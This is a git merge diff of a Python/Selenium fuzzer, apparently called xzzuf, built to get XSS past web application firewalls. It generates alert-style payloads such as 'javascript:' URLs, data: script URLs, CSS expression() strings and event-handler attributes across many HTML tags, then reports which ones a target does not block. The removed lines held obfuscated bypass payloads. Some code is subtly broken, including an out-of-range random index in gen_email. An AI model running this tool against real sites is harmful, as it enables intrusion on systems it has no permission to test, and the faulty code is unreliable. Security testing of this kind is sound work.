Merge branch 'dl-dev' into neg-dev

merge branch dl-dev in neg-dev per allineamento codice

.gitignore

@@ -1,2 +1,3 @@
 venv
-chromedriver*
+chromedriver*
+__pycache__/

language.py

@@ -0,0 +1,64 @@
+from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url
+
+
+class HTMLTag:
+    def __init__(self, name, self_closing=False):
+        self.name = name
+        self.self_closing = self_closing
+        self.attributes = []
+        self.children = []
+
+    def __str__(self) -> str:
+        tag = ""
+        if self.self_closing:
+            tag = f"<{self.name} "
+            for attr in self.attributes:
+                tag += f"{attr} "
+            tag += "/>"
+        else:
+            tag = f"<{self.name}"
+            for attr in self.attributes:
+                tag += f"{attr} "
+            tag += ">"
+            for child in self.children:
+                tag += f"{child}"
+            tag += f"</{self.name}>"
+        return tag
+
+
+class HTMLTagAttributeType:
+    TypeText = 0
+    TypeBoolean = 1
+    TypeNumber = 2
+    TypeColor = 3
+    TypeJavascript = 4
+    TypeStlye = 5
+    TypeURL = 6
+    TypeEmail = 7
+    TypeDate = 8
+
+
+Generators = {
+    HTMLTagAttributeType.TypeText: gen_text,
+    HTMLTagAttributeType.TypeBoolean: gen_boolean,
+    HTMLTagAttributeType.TypeNumber: gen_number,
+    HTMLTagAttributeType.TypeColor: gen_color,
+    HTMLTagAttributeType.TypeJavascript: gen_javascript,
+    HTMLTagAttributeType.TypeStlye: gen_style,
+    HTMLTagAttributeType.TypeURL: gen_url,
+    HTMLTagAttributeType.TypeEmail: gen_email,
+    HTMLTagAttributeType.TypeDate: gen_date,
+}
+
+
+class HTMLAttribute:
+    def __init__(self, name, value_type):
+        self.name = name
+        self.kind = value_type
+        self.value = Generators[value_type]()
+
+    def __str__(self) -> str:
+        if not self.value:
+            return self.name
+        else:
+            return f'{self.name}="{self.value}"'

language_utils.py

@@ -0,0 +1,122 @@
+from random import randint
+
+
+def gen_text():
+    cases = {
+        0: lambda: 'alert(0)',
+        1: lambda: 'prompt\x600\x60',
+        2: lambda: '"confirm\x600\x60"',
+        3: lambda: 'window["alert"](0)',
+        4: lambda: 'window["prompt"](0)',
+        5: lambda: 'window["confirm"](0)',
+        6: lambda: '"alert\x600\x60"',
+        7: lambda: '"prompt\x600\x60"',
+        8: lambda: '"alert(1)"',
+    }
+
+    return cases[randint(0, 8)]()
+
+
+def gen_boolean():
+    cases = {
+        0: lambda: 'true',
+        1: lambda: 'false',
+        2: lambda: '1',
+        3: lambda: '0',
+        4: lambda: 'null',
+        5: lambda: 'undefined',
+        6: lambda: '""',
+        7: lambda: '[]',
+        8: lambda: '{}',
+    }
+
+    return cases[randint(0, 8)]()
+
+
+def gen_number():
+    cases = {
+        0: lambda: '0',
+        1: lambda: '1',
+        2: lambda: '0.1',
+        3: lambda: '1.1',
+        4: lambda: '0x1',
+        5: lambda: '0b1',
+        6: lambda: '0o1',
+        7: lambda: '1e1',
+        8: lambda: '1e-1',
+    }
+
+    return cases[randint(0, 8)]()
+
+
+def gen_color():
+    cases = {
+        0: lambda: '#000000',
+        1: lambda: '#ffffff',
+        2: lambda: '#ff0000',
+        3: lambda: '#00ff00',
+        4: lambda: '#0000ff',
+        5: lambda: '#ffff00',
+        6: lambda: '#00ffff',
+        7: lambda: '#ff00ff',
+        8: lambda: '#c0c0c0',
+    }
+
+    return cases[randint(0, 8)]()
+
+
+def gen_javascript():
+    cases = {
+        0: lambda: 'alert(0)',
+        1: lambda: 'prompt\x600\x60',
+        2: lambda: '"confirm\x600\x60"',
+        3: lambda: 'window["alert"](0)',
+        4: lambda: 'window["prompt"](0)',
+        5: lambda: 'window["confirm"](0)',
+        6: lambda: '"alert\x600\x60"',
+        7: lambda: '"prompt\x600\x60"',
+        8: lambda: '"alert(1)"',
+        9: lambda: 'console.log(alert(1))//',
+        10: lambda: 'console.log(alert(1))/*',
+        11: lambda: '{1:alert(1)}',
+    }
+
+    return cases[randint(0, 11)]()
+
+
+def gen_style():
+    # xss via style
+    cases = {
+        0: lambda: 'background-image:url("javascript:alert(1)")',
+        1: lambda: 'expression(alert(1))',
+        2: lambda: 'expression\x600\x60',
+    }
+
+    return cases[randint(0, 2)]()
+
+
+def gen_url():
+    # xss via url
+    cases = {
+        0: lambda: 'javascript:alert(1)',
+        1: lambda: 'data:text/html,<script>alert(1)</script>',
+        2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
+        3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
+    }
+
+    return cases[randint(0, 3)]()
+
+
+def gen_email():
+    # xss via email
+    cases = {
+        0: lambda: '@javascript:alert(1)',
+        1: lambda: 'javascript:alert(1)@',
+        2: lambda: '@javascript:alert\x600\x60',
+    }
+
+    return cases[randint(0, 3)]()
+
+
+def gen_date():
+    return ''

tags.py

@@ -0,0 +1,248 @@
+from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
+
+
+Tags = [
+    HTMLTag('a', self_closing=False),
+    HTMLTag('abbr', self_closing=False),
+    HTMLTag('acronym', self_closing=False),
+    HTMLTag('address', self_closing=False),
+    HTMLTag('applet', self_closing=False),
+    HTMLTag('area', self_closing=True),
+    HTMLTag('article', self_closing=False),
+    HTMLTag('aside', self_closing=False),
+    HTMLTag('audio', self_closing=False),
+    HTMLTag('b', self_closing=False),
+    HTMLTag('base', self_closing=True),
+    HTMLTag('basefont', self_closing=False),
+    HTMLTag('bdi', self_closing=False),
+    HTMLTag('bdo', self_closing=False),
+    HTMLTag('big', self_closing=False),
+    HTMLTag('blockquote', self_closing=False),
+    HTMLTag('body', self_closing=False),
+    HTMLTag('br', self_closing=True),
+    HTMLTag('button', self_closing=False),
+    HTMLTag('canvas', self_closing=False),
+    HTMLTag('caption', self_closing=False),
+    HTMLTag('center', self_closing=False),
+    HTMLTag('cite', self_closing=False),
+    HTMLTag('code', self_closing=False),
+    HTMLTag('col', self_closing=True),
+    HTMLTag('colgroup', self_closing=False),
+    HTMLTag('data', self_closing=False),
+    HTMLTag('datalist', self_closing=False),
+    HTMLTag('dd', self_closing=False),
+    HTMLTag('del', self_closing=False),
+    HTMLTag('details', self_closing=False),
+    HTMLTag('dfn', self_closing=False),
+    HTMLTag('dialog', self_closing=False),
+    HTMLTag('dir', self_closing=False),
+    HTMLTag('div', self_closing=False),
+    HTMLTag('dl', self_closing=False),
+    HTMLTag('dt', self_closing=False),
+    HTMLTag('em', self_closing=False),
+    HTMLTag('embed', self_closing=True),
+    HTMLTag('fieldset', self_closing=False),
+    HTMLTag('figcaption', self_closing=False),
+    HTMLTag('figure', self_closing=False),
+    HTMLTag('font', self_closing=False),
+    HTMLTag('footer', self_closing=False),
+    HTMLTag('form', self_closing=False),
+    HTMLTag('frame', self_closing=True),
+    HTMLTag('frameset', self_closing=False),
+    HTMLTag('h1', self_closing=False),
+    HTMLTag('h2', self_closing=False),
+    HTMLTag('h3', self_closing=False),
+    HTMLTag('h4', self_closing=False),
+    HTMLTag('h5', self_closing=False),
+    HTMLTag('h6', self_closing=False),
+    HTMLTag('head', self_closing=False),
+    HTMLTag('header', self_closing=False),
+    HTMLTag('hr', self_closing=True),
+    HTMLTag('html', self_closing=False),
+    HTMLTag('i', self_closing=False),
+    HTMLTag('iframe', self_closing=False),
+    HTMLTag('img', self_closing=True),
+    HTMLTag('input', self_closing=True),
+    HTMLTag('ins', self_closing=False),
+    HTMLTag('kbd', self_closing=False),
+    HTMLTag('label', self_closing=False),
+    HTMLTag('legend', self_closing=False),
+    HTMLTag('li', self_closing=False),
+    HTMLTag('link', self_closing=True),
+    HTMLTag('main', self_closing=False),
+    HTMLTag('map', self_closing=False),
+    HTMLTag('mark', self_closing=False),
+    HTMLTag('meta', self_closing=True),
+    HTMLTag('meter', self_closing=False),
+    HTMLTag('nav', self_closing=False),
+    HTMLTag('noframes', self_closing=False),
+    HTMLTag('noscript', self_closing=False),
+    HTMLTag('object', self_closing=False),
+    HTMLTag('ol', self_closing=False),
+    HTMLTag('optgroup', self_closing=False),
+    HTMLTag('option', self_closing=False),
+    HTMLTag('output', self_closing=False),
+    HTMLTag('p', self_closing=False),
+    HTMLTag('param', self_closing=True),
+    HTMLTag('picture', self_closing=False),
+    HTMLTag('pre', self_closing=False),
+    HTMLTag('progress', self_closing=False),
+    HTMLTag('q', self_closing=False),
+    HTMLTag('rp', self_closing=False),
+    HTMLTag('rt', self_closing=False),
+    HTMLTag('ruby', self_closing=False),
+    HTMLTag('s', self_closing=False),
+    HTMLTag('samp', self_closing=False),
+    HTMLTag('script', self_closing=False),
+    HTMLTag('section', self_closing=False),
+    HTMLTag('select', self_closing=False),
+    HTMLTag('small', self_closing=False),
+    HTMLTag('source', self_closing=True),
+    HTMLTag('span', self_closing=False),
+    HTMLTag('strike', self_closing=False),
+    HTMLTag('strong', self_closing=False),
+    HTMLTag('style', self_closing=False),
+    HTMLTag('sub', self_closing=False),
+    HTMLTag('summary', self_closing=False),
+    HTMLTag('sup', self_closing=False),
+    HTMLTag('svg', self_closing=False),
+    HTMLTag('table', self_closing=False),
+    HTMLTag('tbody', self_closing=False),
+    HTMLTag('td', self_closing=False),
+    HTMLTag('template', self_closing=False),
+    HTMLTag('textarea', self_closing=False),
+    HTMLTag('tfoot', self_closing=False),
+    HTMLTag('th', self_closing=False),
+    HTMLTag('thead', self_closing=False),
+    HTMLTag('time', self_closing=False),
+    HTMLTag('title', self_closing=False),
+    HTMLTag('tr', self_closing=False),
+    HTMLTag('track', self_closing=True),
+    HTMLTag('tt', self_closing=False),
+    HTMLTag('u', self_closing=False),
+    HTMLTag('ul', self_closing=False),
+    HTMLTag('var', self_closing=False),
+    HTMLTag('video', self_closing=False),
+    HTMLTag('wbr', self_closing=True),
+    HTMLTag('xmp', self_closing=False),
+]
+
+Attributes = [
+    # events
+    HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforescriptexecute',
+                  HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onmozfullscreenchange',
+                  HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onwebkitanimationiteration',
+                  HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onwebkitanimationstart',
+                  HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onwebkittransitionend',
+                  HTMLTagAttributeType.TypeJavascript),
+    HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript),
+]

xzzuf.py

@@ -6,7 +6,19 @@ from selenium.webdriver.support.ui import WebDriverWait
 from urllib.parse import urlparse
 from urllib.parse import urlencode
 
+from tags import Attributes
+
 # WAFBypass class
+
+from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
+
+t = HTMLTag("form")
+i = HTMLTag("input", self_closing=True)
+i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText))
+t.children.append(i)
+print(t)
+
+
 class WAFBypass():
     code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
 
@@ -52,35 +64,27 @@ class WAFBypass():
         self.driver.get(url)
         self.wait_for_pageload()
 
-        bypass = False
+        is403 = False
 
         if self.is_403:
-            bypass = False
+            is403 = True
         else:
-            bypass = True
+            is403 = False
 
-        bypass = bypass and self.triggered_xss
+        triggerxss = self.triggered_xss
 
-        return bypass
+        return (is403, triggerxss)
 
     def run_fuzz(self):
-        payloads = [
-            "<svg{FUZZ}onload=alert(0)>",
-            "<svg\{FUZZ}onload=alert(0)>",
-            "\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
-            """<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
-        ]
         try:
-            for i in range(0, 0x10FFFF):
+            for attr in Attributes:
-                for p in payloads:
+                # print(f"[*] Testing {attr.name} attribute {attr}")
-                    encoded = urlencode(
+                encoded = urlencode({"param2": f"{attr}"})
-                        {"param2": p.replace("{FUZZ}", chr(i))})
+                url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
-                    print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
+                # print(url)
-                    url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
+                is403, trigger = self.navigate(url)
-                    bypassed = self.navigate(url)
+                if not is403:
-                    if bypassed:
+                    print(f"[+] {attr.name} attribute is not filtered")
-                        print("Bypassed with payload: ", encoded)
-                        break
         except KeyboardInterrupt:
             self.driver.close()
             exit(0)